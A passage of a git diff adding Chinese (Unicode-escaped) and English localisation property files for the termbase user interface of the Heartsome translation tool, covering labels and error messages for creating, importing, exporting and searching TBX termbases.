\u8bf7\u5148\u5728\u9879\u76ee\u8bbe\u7f6e\u4e2d\u6dfb\u52a0\u672f\u8bed\u5e93\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +newproject.NewProjectTbPage.title = \u672f\u8bed\u5e93 +newproject.NewProjectTbPage.desc = \u8bbe\u7f6e\u8be5\u9879\u76ee\u7684\u672f\u8bed\u5e93\u3002 +newproject.NewProjectTbPage.msg1 = \u8be5\u672f\u8bed\u5e93\u4e2d\u65e0\u5f53\u524d\u9879\u76ee\u7684\u672f\u8bed\u3002 +newproject.NewProjectTbPage.addBtn = \u6dfb\u52a0(&A) +newproject.NewProjectTbPage.createBtn = \u521b\u5efa(&C) +newproject.NewProjectTbPage.removeBtn = \u79fb\u9664(&R) +newproject.NewProjectTbPage.importTmxBtn = \u5bfc\u5165 TBX(&I) +newproject.NewProjectTbPage.msgTitle = \u63d0\u793a +newproject.NewProjectTbPage.msg1 = \u8bf7\u5148\u9009\u62e9\u5f85\u5bfc\u5165\u7684\u672f\u8bed\u5e93\u3002 +newproject.NewProjectTbPage.msg2 = \u4ee5\u4e0b\u672f\u8bed\u5e93\u5df2\u6dfb\u52a0\u5230\u9879\u76ee\u4e2d\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\uff1a\n +newproject.NewProjectTbPage.clmnTitles1 = \u540d\u79f0 +newproject.NewProjectTbPage.clmnTitles2 = \u7c7b\u578b +newproject.NewProjectTbPage.clmnTitles3 = \u5730\u5740 +newproject.NewProjectTbPage.clmnTitles4 = \u9879\u76ee\u8bed\u8a00\u5bf9 +newproject.NewProjectTbPage.clmnTitles5 = \u9ed8\u8ba4\u5e93 +newproject.NewProjectTbPage.yes = \u5305\u542b +newproject.NewProjectTbPage.no = \u4e0d\u5305\u542b + +preference.TBDatabasePage.title = \u672f\u8bed\u5e93 +preference.TBDatabasePage.commonGroup = \u91cd\u590d\u9879\u5904\u7406 +preference.TBDatabasePage.imageLbale = \u6dfb\u52a0\u672f\u8bed\u548c\u5bfc\u5165 TBX \u6587\u4ef6\u65f6\uff0c\u5bf9\u91cd\u590d\u672f\u8bed\u7684\u5904\u7406\u7b56\u7565\uff1a +preference.TBDatabasePage.btnAlwaysAdd = \u65b0\u589e +preference.TBDatabasePage.btnRepeatOverwrite = \u8986\u76d6 +preference.TBDatabasePage.btnRepeatMerge = \u5408\u5e76 +preference.TBDatabasePage.btnRepeatIgnore = \u5ffd\u7565 +preference.TBDatabasePage.commontitle = \u5e38\u89c4 +preference.TBDatabasePage.commonCasesensitive = \u5ffd\u7565\u5927\u5c0f\u5199 +preference.TBDatabasePage.commonsearchterm = \u5728\u672f\u8bed\u5e93\u4e2d\u6587\u672c\u641c\u7d22\u5339\u914d\u65f6 + +projectsetting.ProjectSettingTBPage.title = \u672f\u8bed\u5e93 +projectsetting.ProjectSettingTBPage.msg1 = \u8be5\u672f\u8bed\u5e93\u4e2d\u65e0\u5f53\u524d\u9879\u76ee\u7684\u672f\u8bed\u3002 +projectsetting.ProjectSettingTBPage.addBtn = \u6dfb\u52a0(&A) +projectsetting.ProjectSettingTBPage.createBtn = \u521b\u5efa(&C) +projectsetting.ProjectSettingTBPage.removeBtn = \u79fb\u9664(&R) +projectsetting.ProjectSettingTBPage.importTmxBtn = \u5bfc\u5165 TBX(&I) +projectsetting.ProjectSettingTBPage.msgTitle = \u63d0\u793a +projectsetting.ProjectSettingTBPage.msg2 = \u8bf7\u5148\u9009\u62e9\u5f85\u5bfc\u5165\u7684\u672f\u8bed\u5e93\u3002 +projectsetting.ProjectSettingTBPage.msg3 = \u4ee5\u4e0b\u672f\u8bed\u5e93\u5df2\u6dfb\u52a0\u5230\u9879\u76ee\u4e2d\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\uff1a\n +projectsetting.ProjectSettingTBPage.clmnTitles1 = \u540d\u79f0 +projectsetting.ProjectSettingTBPage.clmnTitles2 = \u7c7b\u578b +projectsetting.ProjectSettingTBPage.clmnTitles3 = \u5730\u5740 +projectsetting.ProjectSettingTBPage.clmnTitles4 = \u9879\u76ee\u8bed\u8a00\u5bf9 +projectsetting.ProjectSettingTBPage.clmnTitles5 = \u9ed8\u8ba4\u5e93 +projectsetting.ProjectSettingTBPage.yes = \u5305\u542b +projectsetting.ProjectSettingTBPage.no = \u4e0d\u5305\u542b + +wizard.NewTermDbBaseInfoPage.title = \u672f\u8bed\u5e93\u4fe1\u606f +wizard.NewTermDbBaseInfoPage.desc = \u8bf7\u8f93\u5165\u672f\u8bed\u5e93\u7684\u57fa\u672c\u4fe1\u606f\u3002 +wizard.NewTermDbBaseInfoPage.dbGroup1 = \u57fa\u672c\u4fe1\u606f +wizard.NewTermDbBaseInfoPage.lblType = \u7c7b\u578b\uff1a +wizard.NewTermDbBaseInfoPage.dbNameText = \u540d\u79f0\uff1a +wizard.NewTermDbBaseInfoPage.instanceText = \u5b9e\u4f8b\uff1a +wizard.NewTermDbBaseInfoPage.dbGroup = \u4f4d\u7f6e +wizard.NewTermDbBaseInfoPage.hostText = \u670d\u52a1\u5668\uff1a +wizard.NewTermDbBaseInfoPage.portText = \u7aef\u53e3\uff1a +wizard.NewTermDbBaseInfoPage.locationText = \u8def\u5f84\uff1a +wizard.NewTermDbBaseInfoPage.borwserBtn = \u6d4f\u89c8(&B)... +wizard.NewTermDbBaseInfoPage.authorityGroup = \u8eab\u4efd\u9a8c\u8bc1 +wizard.NewTermDbBaseInfoPage.usernameText = \u7528\u6237\u540d\uff1a +wizard.NewTermDbBaseInfoPage.passwordText = \u5bc6\u7801\uff1a +wizard.NewTermDbBaseInfoPage.msg1 = \u8bf7\u9009\u62e9\u672f\u8bed\u5e93\u7684\u7c7b\u578b\u3002\u5982\u679c\u4f7f\u7528 Internal DB \u4f5c\u4e3a\u672f\u8bed\u5e93\uff0c\u5219\u4ec5\u9700\u6307\u5b9a\u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002\n\u5982\u679c\u9009\u62e9\u4f7f\u7528\u5176\u4ed6\u7c7b\u578b\u7684\u672f\u8bed\u5e93\uff0c\u5219\u9700\u8981\u8f93\u5165\u5b89\u88c5\u6570\u636e\u5e93\u7684\u670d\u52a1\u5668\u5730\u5740\u3001\u7528\u6237\u540d\u53ca\u5bc6\u7801\u3002 +wizard.NewTermDbBaseInfoPage.msg2 = \u8bf7\u8f93\u5165\u672f\u8bed\u5e93\u7684\u540d\u79f0\u3002 +wizard.NewTermDbBaseInfoPage.msg3 = \u8bf7\u8bbe\u7f6e Internal DB \u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +wizard.NewTermDbBaseInfoPage.msg4 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +wizard.NewTermDbBaseInfoPage.msg5 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +wizard.NewTermDbBaseInfoPage.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +wizard.NewTermDbBaseInfoPage.instancemsg = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +wizard.NewTermDbBaseInfoPage.task1 = \u5c1d\u8bd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93... +wizard.NewTermDbBaseInfoPage.msg7 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u3002\n\u8bf7\u786e\u8ba4\u8f93\u5165\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTermDbBaseInfoPage.logger1 = [LOG] \u672f\u8bed\u5e93\u521b\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u7cfb\u7edf\u5e93\u51fa\u9519 +wizard.NewTermDbBaseInfoPage.msg8 = \u65e0\u6cd5\u521b\u5efa\u672f\u8bed\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTermDbBaseInfoPage.msg9 = \u8be5\u672f\u8bed\u5e93\u540d\u79f0\u5df2\u5728\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u6216\u8def\u5f84\u4e2d\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +wizard.NewTermDbBaseInfoPage.task2 = \u6b63\u5728\u521b\u5efa\u672f\u8bed\u5e93... +wizard.NewTermDbBaseInfoPage.msg10 = \u65e0\u6cd5\u521b\u5efa\u672f\u8bed\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +wizard.NewTermDbImportPage.title = \u5bfc\u5165 TBX +wizard.NewTermDbImportPage.desc = \u5c06 TBX \u6587\u4ef6\u4e2d\u7684\u672f\u8bed\u5bfc\u5165\u5230\u65b0\u5efa\u7684\u672f\u8bed\u5e93\u4e2d\u3002 +wizard.NewTermDbImportPage.lblTbx = TBX \u6587\u4ef6\uff1a +wizard.NewTermDbImportPage.tbxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.NewTermDbImportPage.task1 = \u521b\u5efa\u672f\u8bed\u5e93 +wizard.NewTermDbImportPage.task2 = \u6b63\u5728\u5bfc\u5165 TBX \u6587\u4ef6... +wizard.NewTermDbImportPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TBX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TBX \u6587\u4ef6\u3002 +wizard.NewTermDbImportPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.NewTermDbImportPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TBX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTermDbImportPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.NewTermDbImportPage.msg5 = \u5bfc\u5165 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TBX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TBX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTermDbImportPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TBX\u3002 +wizard.NewTermDbWizard.title = \u65b0\u5efa\u672f\u8bed\u5e93\u5411\u5bfc +wizard.TbxImportWizard.title = \u5bfc\u5165 TBX \u6587\u4ef6 +wizard.TbxImportWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TBX \u6587\u4ef6 +wizard.TbxImportWizardTbxPage.title = \u5411\u672f\u8bed\u5e93\u4e2d\u5bfc\u5165 TBX +wizard.TbxImportWizardTbxPage.desc = \u5c06 TBX \u6587\u4ef6\u4e2d\u7684\u672f\u8bed\u5bfc\u5165\u5230\u5f53\u524d\u9009\u4e2d\u7684\u672f\u8bed\u5e93\u4e2d\u3002 +wizard.TbxImportWizardTbxPage.lblTmx = TBX \u6587\u4ef6\uff1a +wizard.TbxImportWizardTbxPage.msg1 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TBX \u6587\u4ef6 +wizard.TbxImportWizardTbxPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.TbxImportWizardTbxPage.task1 = \u6b63\u5728\u5bfc\u5165 TBX \u6587\u4ef6... +wizard.TbxImportWizardTbxPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TBX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TBX \u6587\u4ef6\u3002 +wizard.TbxImportWizardTbxPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.TbxImportWizardTbxPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TBX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TbxImportWizardTbxPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.TbxImportWizardTbxPage.msg5 = \u5bfc\u5165 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TBX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TBX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TbxImportWizardTbxPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TBX\u3002 +wizard.TermDbManagerImportWizard.title = \u5bfc\u5165 TBX \u6587\u4ef6 +wizard.TermDbManagerImportWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TBX \u6587\u4ef6 +wizard.TermDbManagerImportWizardTbxPage.title = \u9009\u62e9 TBX \u6587\u4ef6 +wizard.TermDbManagerImportWizardTbxPage.desc = \u5c06 TBX \u6587\u4ef6\u4e2d\u7684\u672f\u8bed\u5bfc\u5165\u5230\u5f53\u524d\u9009\u4e2d\u7684\u672f\u8bed\u5e93\u4e2d\u3002 +wizard.TermDbManagerImportWizardTbxPage.lblTmx = TBX \u6587\u4ef6\uff1a +wizard.TermDbManagerImportWizardTbxPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.TermDbManagerImportWizardTbxPage.openFile = \u6253\u5f00\u6587\u4ef6 +wizard.TermDbManagerImportWizardTbxPage.lblNewLabel = \u672f\u8bed\u5e93\uff1a +wizard.TermDbManagerImportWizardTbxPage.button = \u9009\u62e9(&S) +wizard.TermDbManagerImportWizardTbxPage.settingBtn = \u9009\u9879(&O)... +wizard.TermDbManagerImportWizardTbxPage.task1 = \u6b63\u5728\u5bfc\u5165 TBX \u6587\u4ef6... +wizard.TermDbManagerImportWizardTbxPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TBX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TBX \u6587\u4ef6\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TBX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TBX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TBX \u6587\u4ef6\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg5 = \u5bfc\u5165 TBX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TBX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TBX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TBX\u3002 +wizard.TermDbManagerImportWizardTbxPage.msg7 = \u5df2\u6210\u529f\u5c06\u9009\u4e2d\u7684 TBX \u6587\u4ef6\u5bfc\u5165\u5230\u6307\u5b9a\u7684\u672f\u8bed\u5e93\u4e2d... +wizard.TermDbManagerImportWizardTbxPage.msg8 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TBX \u6587\u4ef6 +wizard.TermDbManagerImportWizardTbxPage.msg9 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165 TBX \u6587\u4ef6\u7684\u672f\u8bed\u5e93 + +########################## 2012-09-13 \u6dfb\u52a0 ############################################### +dialog.TermDbManagerDialog.lstItem = \u5168\u90e8 + +tb.TbDbOperatorManager.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1} +tb.TbDbOperatorManager.logger2 = [LOG] \u7ffb\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a + +# 2012-09-24 add by jason +wizard.NewTermDbBaseInfoPage.msg11 = \u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u9519\u8bef\u6216\u8be5\u6587\u4ef6\u5939\u4e0d\u5b58\u5728\u3002 + + +########################## robert 2013-02-26 \u6dfb\u52a0 ############################################### +dialog.db.recommend = SQLite\uff08\u63a8\u8350\uff09 + +# add by jason 2013-04-23 +tb.dbtype.sqlite = \u6587\u4ef6\u672f\u8bed\u5e93 +tb.dialog.addTb.DropDownButton.AddFileTb = \u6587\u4ef6\u672f\u8bed\u5e93(&F)... +tb.dialog.addTb.DropDownButton.AddServerTb = \u670d\u52a1\u5668\u672f\u8bed\u5e93(&S)... +tb.dialog.addFileTb.errorTitle = \u9519\u8bef +tb.dialog.addFileTb.error.msg1 = \u8bf7\u9009\u62e9\u6b63\u786e\u7684 Hearstome \u672f\u8bed\u5e93\u6587\u4ef6\u3002 +tb.dialog.addFileTb.error.msg2 = \u65e0\u6cd5\u6253\u5f00\u672f\u8bed\u5e93 {0} \n \u8bf7\u9009\u62e9\u6b63\u786e\u7684 Heartsome \u672f\u8bed\u5e93\u6587\u4ef6\u3002 +# inser into ediotr add by yule 2013-04 -26 +view.TerminologyViewPart.msgTitle = \u63d0\u793a +view.TerminologyViewPart.msg1 = \u5f53\u524d\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u5c06\u4e0d\u4f1a\u5728\u672f\u8bed\u5e93\u4e2d\u67e5\u627e\u8be5\u6587\u672c\u6bb5\u7684\u672f\u8bed\u3002 +view.TerminologyViewPart.msg2 = \u64cd\u4f5c\u5931\u8d25\uff0c\u9519\u8bef\u6d88\u606f\uff1a\n \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/message_en.properties b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/message_en.properties new file mode 100644 index 0000000..fbb70a8 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/message_en.properties @@ -0,0 +1,237 @@ +dialog.ExportTbxDialog.title = Export Termbases as TBX files +dialog.ExportTbxDialog.dbListGroup = Termbase +dialog.ExportTbxDialog.langSelLabel = Export Languages: +dialog.ExportTbxDialog.srcLangSelLabel = Source Language: +dialog.ExportTbxDialog.AddDbBtn = &Add +dialog.ExportTbxDialog.deleteDbBtn = &Remove +dialog.ExportTbxDialog.msgTitle = Message +dialog.ExportTbxDialog.msg1 = Please select termbases you want to remove from the list. +dialog.ExportTbxDialog.hasChangedCodingCbtn = Custom encoding: +dialog.ExportTbxDialog.button = Filter rule: +dialog.ExportTbxDialog.filterSettingBtn = &Edit... +dialog.ExportTbxDialog.filterDeleteBtn = &Delete +dialog.ExportTbxDialog.msg2 = Are you sure you want to delete the selected filter rule? +dialog.ExportTbxDialog.tbxFileLabel = Save to: +dialog.ExportTbxDialog.browserBtn = &Browse... +dialog.ExportTbxDialog.empty = N/A +dialog.ExportTbxDialog.ok = &Export +dialog.ExportTbxDialog.cancel = Cancel +dialog.ExportTbxDialog.clmnTitles1 = No. +dialog.ExportTbxDialog.clmnTitles2 = Type +dialog.ExportTbxDialog.clmnTitles3 = Name +dialog.ExportTbxDialog.clmnTitles4 = Language +dialog.ExportTbxDialog.msg3 = Please add termbases you want to export. +dialog.ExportTbxDialog.msg4 = Termbases {0}:{1} at least export two languages. +dialog.ExportTbxDialog.msg5 = Please specify the path and file name of the TBX file. +dialog.ExportTbxDialog.msg6 = File {0} already exists. Are you sure you want to overwrite it? +dialog.ExportTbxDialog.msg7 = You must save the TBX file to one folder when exporting more than one termbases. +dialog.ExportTbxDialog.msg8 = You must save the TBX file to one file when exporting one termbase. +dialog.ExportTbxDialog.job = Export termbases as TBX files +dialog.TermBaseSearchDialog.title = Term Search +dialog.TermBaseSearchDialog.groupSearch = Term Search +dialog.TermBaseSearchDialog.lblSearch = Search for: +dialog.TermBaseSearchDialog.btnSearch = &Search +dialog.TermBaseSearchDialog.btnIsCaseSensitive = Case-sensitive +dialog.TermBaseSearchDialog.btnIsIgnoreMark = Ignore tags +dialog.TermBaseSearchDialog.btnApplyRegularExpression = Regular expressions +dialog.TermBaseSearchDialog.lblQuality = Match value: +dialog.TermBaseSearchDialog.lblTB = Termbases: +dialog.TermBaseSearchDialog.btnSelectLang = Target Language +dialog.TermBaseSearchDialog.groupTable = Search Results +dialog.TermBaseSearchDialog.msgTitle = Message +dialog.TermBaseSearchDialog.msg1 = Please enter the term. +dialog.TermBaseSearchDialog.msg2 = Please select termbases. +dialog.TermBaseSearchDialog.msg3 = No matching terms. +dialog.TermBaseSearchDialog.logger1 = [LOG] \u521d\u59cb\u5316\u8bed\u8a00\u4e0b\u62c9\u6846\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TermBaseSearchDialog.logger2 = [LOG] \u6267\u884c\u672f\u8bed\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TermBaseSearchDialog.logger3 = [LOG] \u4e0e\u6570\u636e\u5e93\u8fde\u63a5\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TermDbManagerDialog.title = Termbase Management +dialog.TermDbManagerDialog.parameterGroup = Database Information +dialog.TermDbManagerDialog.lblHost = Address: +dialog.TermDbManagerDialog.lblPort = Port: +dialog.TermDbManagerDialog.lblInstance = Instance: +dialog.TermDbManagerDialog.lblLocation = Path: +dialog.TermDbManagerDialog.borwserBtn = &Browse... +dialog.TermDbManagerDialog.lblUsername = Username: +dialog.TermDbManagerDialog.lblPwd = Password: +dialog.TermDbManagerDialog.searchBtn = &Search +dialog.TermDbManagerDialog.msgTitle = Message +dialog.TermDbManagerDialog.msg1 = Unable to connect to the specified database.\nPlease make sure you enter the correct database information and that the database server is accessible. +dialog.TermDbManagerDialog.tableComposite = Termbases +dialog.TermDbManagerDialog.btnc = &Create +dialog.TermDbManagerDialog.btnd_1 = &Delete +dialog.TermDbManagerDialog.msg2 = Once deleted, the termbase cannot be recovered. Are sure you want to delete it? +dialog.TermDbManagerDialog.logger1 = [LOG] \u5220\u9664\u672f\u8bed\u5e93\u5931\u8d25 +dialog.TermDbManagerDialog.msg3 = An error occured when deleting termbases.\nPlease re-run the software or restart the database, then try again.\n If the problem is not solved, please contact the Heartsome technical support, and provide the following information: +dialog.TermDbManagerDialog.importBtn = &Import TBX +dialog.TermDbManagerDialog.msg4 = Please select termbases. +dialog.TermDbManagerDialog.deleteAction = Remove +dialog.TermDbManagerDialog.clmnTitles1 = No. +dialog.TermDbManagerDialog.clmnTitles2 = Name +dialog.TermDbManagerDialog.clmnTitles3 = Language +dialog.TermDbManagerDialog.msg5 = Please set Path to a folder where your Internal DB termbase will be saved. +dialog.TermDbManagerDialog.msg6 = Please enter the address of the database server. +dialog.TermDbManagerDialog.msg7 = Please enter the port of the database server. +dialog.TermDbManagerDialog.msg8 = Please enter the username of the database server. +dialog.TermDbManagerDialog.msg9 = Please enter the instance of database server. +dialog.TermDbManagerDialog.msg10 = There are no terms in the termbase. +dialog.TermDbManagerDialog.inputDbNameialogTitle = Create Termbase +dialog.TermDbManagerDialog.inputDbNameialogMsg = Termbase Name: +dialog.TermDbNameInputDialog.msg1 = Unable to create termbase.\nPlease make sure that the server of the database is accessible. Or, change server of the database/path and try again. +dialog.TermDbNameInputDialog.msg2 = The name already exists in the specified database server or path. Please choose another name. +dialog.TermDbNameInputDialog.logger1 = [LOG] \u521b\u5efa\u7cfb\u7edf\u5e93\u5931\u8d25 +dialog.TermDbNameInputDialog.logger2 = [LOG] \u521b\u5efa\u6570\u636e\u5e93\u5931\u8d25 + +handler.TermBaseSearchHandler.msgTitle = Message +handler.TermBaseSearchHandler.msg = Please add termbases in Project Settings and try again. + +newproject.NewProjectTbPage.title = Termbase +newproject.NewProjectTbPage.desc = Set up the project's termbases. +newproject.NewProjectTbPage.msg1 = No term in the current project was found in the termbase. +newproject.NewProjectTbPage.addBtn = &Add +newproject.NewProjectTbPage.createBtn = &Create +newproject.NewProjectTbPage.removeBtn = &Remove +newproject.NewProjectTbPage.importTmxBtn = &Import TBX +newproject.NewProjectTbPage.msgTitle = Message +newproject.NewProjectTbPage.msg1 = Please select the termbase you want to import TBX files to. +newproject.NewProjectTbPage.msg2 = The following termbases have been added to the project.\n +newproject.NewProjectTbPage.clmnTitles1 = Name +newproject.NewProjectTbPage.clmnTitles2 = Type +newproject.NewProjectTbPage.clmnTitles3 = Address +newproject.NewProjectTbPage.clmnTitles4 = Project Language Pair +newproject.NewProjectTbPage.clmnTitles5 = Default +newproject.NewProjectTbPage.yes = Contains +newproject.NewProjectTbPage.no = Excludes + +preference.TBDatabasePage.title = Termbase +preference.TBDatabasePage.commonGroup = Duplicate entries processing +preference.TBDatabasePage.imageLbale = When adding new terms or importing TBX files\uff0caction to take with duplicated existing terms: +preference.TBDatabasePage.btnAlwaysAdd = Add 